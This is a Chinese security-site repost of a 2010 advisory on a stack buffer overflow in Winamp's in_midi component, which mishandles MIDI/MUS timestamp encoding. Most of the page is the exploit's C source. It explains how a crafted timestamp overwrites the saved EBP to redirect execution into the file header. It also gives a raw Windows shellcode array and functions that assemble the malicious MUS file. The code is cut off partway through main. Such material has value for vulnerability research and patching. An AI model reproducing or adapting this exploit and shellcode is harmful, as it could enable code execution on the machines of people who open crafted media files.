频道栏目
首页 > 安全 > 系统安全 > 正文

Winamp in_midi 组件MIDI时间戳栈缓冲区溢出漏洞及修复

2010-12-11 10:39:36           
收藏   我要投稿

影响版本:
Nullsoft Winamp 5.01 - 5.5.8

漏洞描述:


Winamp是一款流行的媒体播放器,支持多种文件格式。

Winamp在实现上存在漏洞,攻击者可利用此漏洞以用户权限在受影响的应用程序中执行任意代码,造成拒绝服务。

此漏洞源于未能对用户提供的数据执行足够的边界检查。Winamp的栈分配是可预测的。攻击者可选择写入到已保存的基本指针的值,

因此当恢复了基础指针后,调用函数的栈报文将被移动到攻击者控制的返回地址。

<*参考
Peter Wilhelmsen
Kryptos Logic
*>

测试方法:

/*
 * Winamp 5.6 Arbitrary Code Execution in MIDI Parser
 * Copyright (C) 2010 Kryptos Logic
 *
 * Bug discovered by Peter Wilhelmsen.
 * Exploit written by Morten Shearman Kirkegaard.
 */

/*
 * When Winamp plays MUS files and other MIDI variants, it begins by
 * converting them to a canonical format.
 *
 * IN_MIDI.DLL 0x076ED6D3
 * Timestamps in MUS and MIDI are 32 bit values encoded as a series of
 * bytes, with 7 bits in each byte. The most significant bit indicates
 * whether or not this is the last byte. Winamp can decode any value
 * without problems, but when it tries to re-encode them for the MIDI
 * data, it uses the naive approach of shifting multiples of 7 bits. On
 * x86 a shift of more than 31 bits does NOT result in a cleared
 * register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift
 * 35 bits, resulting in a shift of only 3 bits. If the most significant
 * bit is set, Winamp will keep shifting forever. However, if it is
 * cleared, and one or more of the following three bits are set, it will
 * shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift
 * will result in a fully cleared register, so only 9 output bytes are
 * generated. The allocated stack buffer is 8 bytes, so the least
 * significant byte will overflow into the saved EBP.
 *
 * IN_MIDI.DLL 0x076EE07F
 * The saved EBP is restored into the register before returning to the
 * main coversion function. If a value of 0x60 is written to the least
 * significant byte of EBP, the function will run to the end without
 * errors, but will use the sum of all timestamps encountered as its
 * return address. We choose a number of timestamps which add up to the
 * desired return address, and make sure that only the last timestamp
 * will cause an overflow. When the function returns, a pointer to the
 * input buffer is located at ESP+0x14. We return to an instruction
 * sequence of ADD ESP, 0x14; RET; so the execution will continue at the
 * MUS header.
 *
 * By choosing 0xC0 as the least significant byte of the scoreLen field,
 * the header becomes executable without touching memory. We choose the
 * most significant byte of scoreLen and the least significant byte of
 * scoreStart to make up a JMP instruction, skipping the rest of the
 * header and continuing execution in the instrument list, where the
 * desired shellcode is placed. More shellcode can be placed after the
 * note events in the score data, if needed.
 */

#include <inttypes.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>


unsigned char shellcode[] = {
/* http://www.shell-storm.org/shellcode/files/shellcode-662.php */
0xFC,0x31,0xD2,0xB2,0x30,0x64,0xFF,0x32,
0x5A,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,
0x72,0x28,0x31,0xC9,0xB1,0x18,0x31,0xFF,
0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,
0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,
0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,
0x10,0x8B,0x12,0x75,0xDA,0x8B,0x53,0x3C,
0x01,0xDA,0xFF,0x72,0x34,0x8B,0x52,0x78,
0x01,0xDA,0x8B,0x72,0x20,0x01,0xDE,0x31,
0xC9,0x41,0xAD,0x01,0xD8,0x81,0x38,0x47,
0x65,0x74,0x50,0x75,0xF4,0x81,0x78,0x04,
0x72,0x6F,0x63,0x41,0x75,0xEB,0x81,0x78,
0x08,0x64,0x64,0x72,0x65,0x75,0xE2,0x49,
0x8B,0x72,0x24,0x01,0xDE,0x66,0x8B,0x0C,
0x4E,0x8B,0x72,0x1C,0x01,0xDE,0x8B,0x14,
0x8E,0x01,0xDA,0x52,0x68,0x78,0x65,0x63,
0x01,0xFE,0x4C,0x24,0x03,0x68,0x57,0x69,
0x6E,0x45,0x54,0x53,0xFF,0xD2,0x6A,0x00,
0x68,0x63,0x61,0x6C,0x63,0x6A,0x05,0x31,
0xC9,0x8D,0x4C,0x24,0x04,0x51,0xFF,0xD0,
0x68,0x65,0x73,0x73,0x01,0x89,0xFB,0xFE,
0x4C,0x24,0x03,0x68,0x50,0x72,0x6F,0x63,
0x68,0x45,0x78,0x69,0x74,0x54,0xFF,0x74,
0x24,0x24,0xFF,0x54,0x24,0x24,0x57,0xFF,
0xD0
};

 

void append_time(unsigned char **p, uint32_t t)
{
        int bytes;

        if ((t >> 28)) {
                bytes = 5;
        } else if ((t >> 21)) {
                bytes = 4;
        } else if ((t >> 14)) {
                bytes = 3;
        } else if ((t >> 7)) {
                bytes = 2;
        } else {
                bytes = 1;
        }

        switch (bytes) {
                case 5: *((*p)++) = 0x80 | ((t >> 28) & 0x7F);
                case 4: *((*p)++) = 0x80 | ((t >> 21) & 0x7F);
                case 3: *((*p)++) = 0x80 | ((t >> 14) & 0x7F);
                case 2: *((*p)++) = 0x80 | ((t >>  7) & 0x7F);
                case 1: *((*p)++) = 0x00 | ( t        & 0x7F);
        }
}

 

void append_note_event(unsigned char **p, uint32_t t)
{
        *((*p)++) = (1 << 7 /* last = true */)
                  | (1 << 4 /* type = play note */)
                  | (0 << 0 /* chan = 0 */);
        *((*p)++) = (0 << 7 /* vol = false */)
                  | (0 << 0 /* note */);
        append_time(p, t);
}

 

int main(void)
{
        struct {
                char magic[4];
                uint16_t scoreLen;
                uint16_t scoreStart;
   &nb

上一篇:Linux Kernel地址限制超控安全漏洞及修复
下一篇:保护SNMP协议服务安全的三个步骤
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站